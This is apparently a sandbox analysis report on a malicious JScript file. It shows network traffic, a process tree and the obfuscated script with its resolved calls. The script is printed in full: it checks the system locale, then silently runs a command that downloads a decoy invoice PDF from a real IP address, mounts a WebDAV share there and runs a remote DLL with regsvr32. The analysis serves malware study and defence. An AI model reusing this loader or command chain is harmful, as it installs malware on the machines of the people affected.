20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:50:43.361026049 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:50:43.361041069 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:50:43.361057043 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 08:50:43.361115932 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 08:50:43.361131907 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 08:50:43.361219883 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 08:50:43.361234903 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 08:50:43.361251116 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 08:50:43.361505032 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 08:50:43.368846893 CET	552	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49716	193.143.1.205	8888	8136	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:50:45.209661007 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:50:46.007415056 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:50:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	02:50:38
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js"
Imagebase:	0x7ff758e90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:50:39
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll
Imagebase:	0x7ff7f2640000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:50:39
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:50:39
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:50:43
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:50:43
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f2640000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:50:43
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff606690000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:50:44
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:50:44
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	02:50:44
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1744,i,13194885931791499067,8970318220075079134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function oksdnojql() {	oksdnojql() ➔ undefined
1	emlxgg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ppwyhdd = this[mtnbdcjyc + wxnxc + xcask + yzqlgy + dmisy + qjsvxydgh + slwrsaxar + mlhdwkce] ( this[ifetxtxm + knolzkqne + jipfmxoh + xcask + wqvewvyr + mtnbdcjyc + mlhdwkce][okatu + xcask + dmisy + wxnxc + mlhdwkce + dmisy + fixrvqvn + bgnkn + temrhj + dmisy + jipfmxoh + mlhdwkce] ( ifetxtxm + knolzkqne + jipfmxoh + xcask + wqvewvyr + mtnbdcjyc + mlhdwkce + ecsyeq + knolzkqne + hhaozjtj + dmisy + wkggzuu + wkggzuu ) [tgayomct + dmisy + dgrpkfr + tgayomct + dmisy + wxnxc + jouqql] ( bykyaqzc + hxxaivdun + mgwjlrrmr + whdqnoarb + obeviusxo + okatu + icnoeogj + tgayomct + tgayomct + mgwjlrrmr + pbtygmuo + gkgai + obeviusxo + icnoeogj + knolzkqne + mgwjlrrmr + tgayomct + bnqnlj + okatu + xxspy + slwrsaxar + mlhdwkce + xcask + xxspy + wkggzuu + stoxqnw + olydisdrw + wxnxc + slwrsaxar + dmisy + wkggzuu + bnqnlj + qjsvxydgh + slwrsaxar + mlhdwkce + dmisy + xcask + slwrsaxar + wxnxc + mlhdwkce + wqvewvyr + xxspy + slwrsaxar + wxnxc + wkggzuu + bnqnlj + ujrrlhm + xxspy + jipfmxoh + wxnxc + wkggzuu + dmisy ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mhbfqwgt = 0 ; mhbfqwgt < emlxgg[wkggzuu + dmisy + slwrsaxar + dgrpkfr + mlhdwkce + hhaozjtj] ; ++ mhbfqwgt )
4	{
5	if ( ppwyhdd == emlxgg[mhbfqwgt] )
6	{
7	ppwyhdd = true;
8	break ;
9	}
10	}
11	if ( ppwyhdd !== true )
12	this[ifetxtxm + knolzkqne + jipfmxoh + xcask + wqvewvyr + mtnbdcjyc + mlhdwkce][xvzraz + dspwobiuz + wqvewvyr + mlhdwkce] ( );
13	this[ifetxtxm + knolzkqne + jipfmxoh + xcask + wqvewvyr + mtnbdcjyc + mlhdwkce][okatu + xcask + dmisy + wxnxc + mlhdwkce + dmisy + fixrvqvn + bgnkn + temrhj + dmisy + jipfmxoh + mlhdwkce] ( ifetxtxm + knolzkqne + jipfmxoh + xcask + wqvewvyr + mtnbdcjyc + mlhdwkce + ecsyeq + knolzkqne + hhaozjtj + dmisy + wkggzuu + wkggzuu ) [xcask + dspwobiuz + slwrsaxar] ( jipfmxoh + iylgwux + jouqql + stoxqnw + upndfycx + jipfmxoh + stoxqnw + mtnbdcjyc + xxspy + ttuqk + dmisy + xcask + yzqlgy + hhaozjtj + dmisy + wkggzuu + wkggzuu + ecsyeq + dmisy + rzsptbsk + dmisy + stoxqnw + pmmdvcvae + okatu + xxspy + iylgwux + iylgwux + wxnxc + slwrsaxar + jouqql + stoxqnw + ifescpvgy + qjsvxydgh + slwrsaxar + aiqvf + xxspy + rtdaoikmg + dmisy + pmmdvcvae + ifetxtxm + dmisy + bgnkn + tgayomct + dmisy + nhjljv + dspwobiuz + dmisy + yzqlgy + mlhdwkce + stoxqnw + pmmdvcvae + fixrvqvn + dspwobiuz + mlhdwkce + uqpjjwyfx + wqvewvyr + wkggzuu + dmisy + stoxqnw + kbcwz + mlhdwkce + dmisy + iylgwux + mtnbdcjyc + kbcwz + bnqnlj + wqvewvyr + slwrsaxar + aiqvf + xxspy + wqvewvyr + jipfmxoh + dmisy + ecsyeq + mtnbdcjyc + jouqql + wpswfbj + stoxqnw + hhaozjtj + mlhdwkce + mlhdwkce + mtnbdcjyc + xdlfvurip + upndfycx + upndfycx + ppukphoy + smhhioxrn + czrptbbv + ecsyeq + ppukphoy + fivvscrvg + czrptbbv + ecsyeq + ppukphoy + ecsyeq + bbqqoky + peqpckwu + mamuybfd + upndfycx + wqvewvyr + slwrsaxar + aiqvf + xxspy + wqvewvyr + jipfmxoh + dmisy + ecsyeq + mtnbdcjyc + hhaozjtj + mtnbdcjyc + ifescpvgy + sjjmqd + sjjmqd + yzqlgy + mlhdwkce + wxnxc + xcask + mlhdwkce + stoxqnw + kbcwz + mlhdwkce + dmisy + iylgwux + mtnbdcjyc + kbcwz + bnqnlj + wqvewvyr + slwrsaxar + aiqvf + xxspy + wqvewvyr + jipfmxoh + dmisy + ecsyeq + mtnbdcjyc + jouqql + wpswfbj + sjjmqd + sjjmqd + jipfmxoh + iylgwux + jouqql + stoxqnw + upndfycx + jipfmxoh + stoxqnw + slwrsaxar + dmisy + mlhdwkce + stoxqnw + dspwobiuz + yzqlgy + dmisy + stoxqnw + bnqnlj + bnqnlj + ppukphoy + smhhioxrn + czrptbbv + ecsyeq + ppukphoy + fivvscrvg + czrptbbv + ecsyeq + ppukphoy + ecsyeq + bbqqoky + peqpckwu + mamuybfd + wizujpcx + sewvpxdfi + sewvpxdfi + sewvpxdfi + sewvpxdfi + bnqnlj + jouqql + wxnxc + aiqvf + ttuqk + ttuqk + ttuqk + xcask + xxspy + xxspy + mlhdwkce + bnqnlj + sjjmqd + sjjmqd + jipfmxoh + iylgwux + jouqql + stoxqnw + upndfycx + jipfmxoh + stoxqnw + xcask + dmisy + dgrpkfr + yzqlgy + aiqvf + xcask + czrptbbv + bbqqoky + stoxqnw + upndfycx + yzqlgy + stoxqnw + bnqnlj + bnqnlj + ppukphoy + smhhioxrn + czrptbbv + ecsyeq + ppukphoy + fivvscrvg + czrptbbv + ecsyeq + ppukphoy + ecsyeq + bbqqoky + peqpckwu + mamuybfd + wizujpcx + sewvpxdfi + sewvpxdfi + sewvpxdfi + sewvpxdfi + bnqnlj + jouqql + wxnxc + aiqvf + ttuqk + ttuqk + ttuqk + xcask + xxspy + xxspy + mlhdwkce + bnqnlj + czrptbbv + gqdqutwjs + bbqqoky + gqdqutwjs + bbqqoky + smhhioxrn + bbqqoky + mamuybfd + sewvpxdfi + ppukphoy + ndoybj + mamuybfd + smhhioxrn + fivvscrvg + ecsyeq + jouqql + wkggzuu + wkggzuu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll",0,false) ➔ 0
14	}
15	pbtygmuo = "O";
16	pbtygmuo = "o";
17	pbtygmuo = "y";
18	pbtygmuo = "i";
19	pbtygmuo = "T";
20	pbtygmuo = "K";
21	pbtygmuo = "z";
22	pbtygmuo = "w";
23	pbtygmuo = "S";
24	pbtygmuo = "G";
25	pbtygmuo = "I";
26	pbtygmuo = "M";
27	pbtygmuo = "N";
28	pbtygmuo = "G";
29	pbtygmuo = "D";
30	pbtygmuo = "w";
31	pbtygmuo = "y";
32	pbtygmuo = "q";
33	pbtygmuo = "V";
34	pbtygmuo = "y";
35	pbtygmuo = "i";
36	pbtygmuo = "i";
37	pbtygmuo = "Q";
38	pbtygmuo = "i";
39	pbtygmuo = "a";
40	pbtygmuo = "h";
41	pbtygmuo = "X";
42	pbtygmuo = "g";
43	pbtygmuo = "N";
44	ifetxtxm = "a";
45	ifetxtxm = "C";
46	ifetxtxm = "W";
47	rtdaoikmg = "U";
48	rtdaoikmg = "Q";
49	rtdaoikmg = "Z";
50	rtdaoikmg = "g";
51	rtdaoikmg = "L";
52	rtdaoikmg = "k";
53	rtdaoikmg = "L";
54	rtdaoikmg = "I";
55	rtdaoikmg = "D";
56	rtdaoikmg = "h";
57	rtdaoikmg = "g";
58	rtdaoikmg = "n";
59	rtdaoikmg = "D";
60	rtdaoikmg = "m";
61	rtdaoikmg = "p";
62	rtdaoikmg = "G";
63	rtdaoikmg = "e";
64	rtdaoikmg = "x";
65	rtdaoikmg = "P";
66	rtdaoikmg = "A";
67	rtdaoikmg = "h";
68	rtdaoikmg = "p";
69	rtdaoikmg = "c";
70	rtdaoikmg = "U";
71	rtdaoikmg = "v";
72	rtdaoikmg = "S";
73	rtdaoikmg = "R";
74	rtdaoikmg = "r";
75	rtdaoikmg = "k";
76	wizujpcx = "w";
77	wizujpcx = "g";
78	wizujpcx = "G";
79	wizujpcx = "W";
80	wizujpcx = "m";
81	wizujpcx = "I";
82	wizujpcx = "m";
83	wizujpcx = "o";
84	wizujpcx = "x";
85	wizujpcx = "x";
86	wizujpcx = "E";
87	wizujpcx = "z";
88	wizujpcx = "t";
89	wizujpcx = "b";
90	wizujpcx = "U";
91	wizujpcx = "H";
92	wizujpcx = "@";
93	sewvpxdfi = "v";
94	sewvpxdfi = "w";
95	sewvpxdfi = "Y";
96	sewvpxdfi = "i";
97	sewvpxdfi = "e";
98	sewvpxdfi = "e";
99	sewvpxdfi = "W";
100	sewvpxdfi = "K";
101	sewvpxdfi = "g";
102	sewvpxdfi = "H";
103	sewvpxdfi = "R";
104	sewvpxdfi = "s";
105	sewvpxdfi = "s";
106	sewvpxdfi = "d";
107	sewvpxdfi = "q";
108	sewvpxdfi = "k";
109	sewvpxdfi = "D";
110	sewvpxdfi = "s";
111	sewvpxdfi = "8";
112	slwrsaxar = "i";
113	slwrsaxar = "u";
114	slwrsaxar = "b";
115	slwrsaxar = "X";
116	slwrsaxar = "R";
117	slwrsaxar = "a";
118	slwrsaxar = "C";
119	slwrsaxar = "E";
120	slwrsaxar = "c";
121	slwrsaxar = "m";
122	slwrsaxar = "V";
123	slwrsaxar = "u";
124	slwrsaxar = "h";
125	slwrsaxar = "x";
126	slwrsaxar = "B";
127	slwrsaxar = "e";
128	slwrsaxar = "v";
129	slwrsaxar = "E";
130	slwrsaxar = "I";
131	slwrsaxar = "t";
132	slwrsaxar = "n";
133	slwrsaxar = "o";
134	slwrsaxar = "e";
135	slwrsaxar = "D";
136	slwrsaxar = "R";
137	slwrsaxar = "o";
138	slwrsaxar = "O";
139	slwrsaxar = "z";
140	slwrsaxar = "J";
141	slwrsaxar = "y";
142	slwrsaxar = "C";
143	slwrsaxar = "F";
144	slwrsaxar = "n";
145	sjjmqd = "h";
146	sjjmqd = "Q";
147	sjjmqd = "B";
148	sjjmqd = "t";
149	sjjmqd = "V";
150	sjjmqd = "j";
151	sjjmqd = "Z";
152	sjjmqd = "U";
153	sjjmqd = "a";
154	sjjmqd = "o";
155	sjjmqd = "A";
156	sjjmqd = "p";
157	sjjmqd = "R";
158	sjjmqd = "X";
159	sjjmqd = "h";
160	sjjmqd = "i";
161	sjjmqd = "B";
162	sjjmqd = "s";
163	sjjmqd = "n";
164	sjjmqd = "o";
165	sjjmqd = "u";
166	sjjmqd = "B";
167	sjjmqd = "U";
168	sjjmqd = "h";
169	sjjmqd = "n";
170	sjjmqd = "M";
171	sjjmqd = "y";
172	sjjmqd = "K";
173	sjjmqd = "g";
174	sjjmqd = "J";
175	sjjmqd = "m";
176	sjjmqd = "J";
177	sjjmqd = "L";
178	sjjmqd = "A";
179	sjjmqd = "E";
180	sjjmqd = "K";
181	sjjmqd = "F";
182	sjjmqd = "N";
183	sjjmqd = "V";
184	sjjmqd = "K";
185	sjjmqd = "d";
186	sjjmqd = "&";
187	ecsyeq = "m";
188	ecsyeq = "q";
189	ecsyeq = "h";
190	ecsyeq = "A";
191	ecsyeq = "U";
192	ecsyeq = "Z";
193	ecsyeq = "p";
194	ecsyeq = ".";
195	kbcwz = "a";
196	kbcwz = "O";
197	kbcwz = "B";
198	kbcwz = "W";
199	kbcwz = "I";
200	kbcwz = "S";
201	kbcwz = "M";
202	kbcwz = "k";
203	kbcwz = "A";
204	kbcwz = "q";
205	kbcwz = "e";
206	kbcwz = "r";
207	kbcwz = "T";
208	kbcwz = "n";
209	kbcwz = "Z";
210	kbcwz = "w";
211	kbcwz = "y";
212	kbcwz = "S";
213	kbcwz = "Z";
214	kbcwz = "M";
215	kbcwz = "A";
216	kbcwz = "g";
217	kbcwz = "k";
218	kbcwz = "T";
219	kbcwz = "y";
220	kbcwz = "C";
221	kbcwz = "C";
222	kbcwz = "W";
223	kbcwz = "C";
224	kbcwz = "K";
225	kbcwz = "p";
226	kbcwz = "z";
227	kbcwz = "s";
228	kbcwz = "V";
229	kbcwz = "P";
230	kbcwz = "v";
231	kbcwz = "J";
232	kbcwz = "%";
233	xdlfvurip = "V";
234	xdlfvurip = "j";
235	xdlfvurip = "H";
236	xdlfvurip = "B";
237	xdlfvurip = "G";
238	xdlfvurip = "g";
239	xdlfvurip = "n";
240	xdlfvurip = "T";
241	xdlfvurip = "K";
242	xdlfvurip = "t";
243	xdlfvurip = "b";
244	xdlfvurip = "J";
245	xdlfvurip = "A";
246	xdlfvurip = "O";
247	xdlfvurip = "B";
248	xdlfvurip = "l";
249	xdlfvurip = "D";
250	xdlfvurip = "O";
251	xdlfvurip = "h";
252	xdlfvurip = "N";
253	xdlfvurip = "b";
254	xdlfvurip = ":";
255	fixrvqvn = "s";
256	fixrvqvn = "i";
257	fixrvqvn = "K";
258	fixrvqvn = "y";
259	fixrvqvn = "E";
260	fixrvqvn = "E";
261	fixrvqvn = "g";
262	fixrvqvn = "P";
263	fixrvqvn = "Z";
264	fixrvqvn = "P";
265	fixrvqvn = "Y";
266	fixrvqvn = "d";
267	fixrvqvn = "J";
268	fixrvqvn = "f";
269	fixrvqvn = "S";
270	fixrvqvn = "h";
271	fixrvqvn = "i";
272	fixrvqvn = "L";
273	fixrvqvn = "j";
274	fixrvqvn = "v";
275	fixrvqvn = "I";
276	fixrvqvn = "G";
277	fixrvqvn = "c";
278	fixrvqvn = "l";
279	fixrvqvn = "e";
280	fixrvqvn = "d";
281	fixrvqvn = "J";
282	fixrvqvn = "H";
283	fixrvqvn = "d";
284	fixrvqvn = "I";
285	fixrvqvn = "b";
286	fixrvqvn = "O";
287	xxspy = "C";
288	xxspy = "O";
289	xxspy = "A";
290	xxspy = "X";
291	xxspy = "P";
292	xxspy = "j";
293	xxspy = "I";
294	xxspy = "K";
295	xxspy = "J";
296	xxspy = "X";
297	xxspy = "e";
298	xxspy = "t";
299	xxspy = "H";
300	xxspy = "E";
301	xxspy = "C";
302	xxspy = "A";
303	xxspy = "i";
304	xxspy = "q";
305	xxspy = "j";
306	xxspy = "U";
307	xxspy = "P";
308	xxspy = "K";
309	xxspy = "Q";
310	xxspy = "X";
311	xxspy = "o";
312	mgwjlrrmr = "k";
313	mgwjlrrmr = "B";
314	mgwjlrrmr = "q";
315	mgwjlrrmr = "h";
316	mgwjlrrmr = "o";
317	mgwjlrrmr = "T";
318	mgwjlrrmr = "x";
319	mgwjlrrmr = "g";
320	mgwjlrrmr = "o";
321	mgwjlrrmr = "T";
322	mgwjlrrmr = "h";
323	mgwjlrrmr = "w";
324	mgwjlrrmr = "b";
325	mgwjlrrmr = "M";
326	mgwjlrrmr = "P";
327	mgwjlrrmr = "d";
328	mgwjlrrmr = "y";
329	mgwjlrrmr = "s";
330	mgwjlrrmr = "L";
331	mgwjlrrmr = "w";
332	mgwjlrrmr = "R";
333	mgwjlrrmr = "x";
334	mgwjlrrmr = "u";
335	mgwjlrrmr = "C";
336	mgwjlrrmr = "H";
337	mgwjlrrmr = "e";
338	mgwjlrrmr = "E";
339	ttuqk = "q";
340	ttuqk = "q";
341	ttuqk = "p";
342	ttuqk = "p";
343	ttuqk = "b";
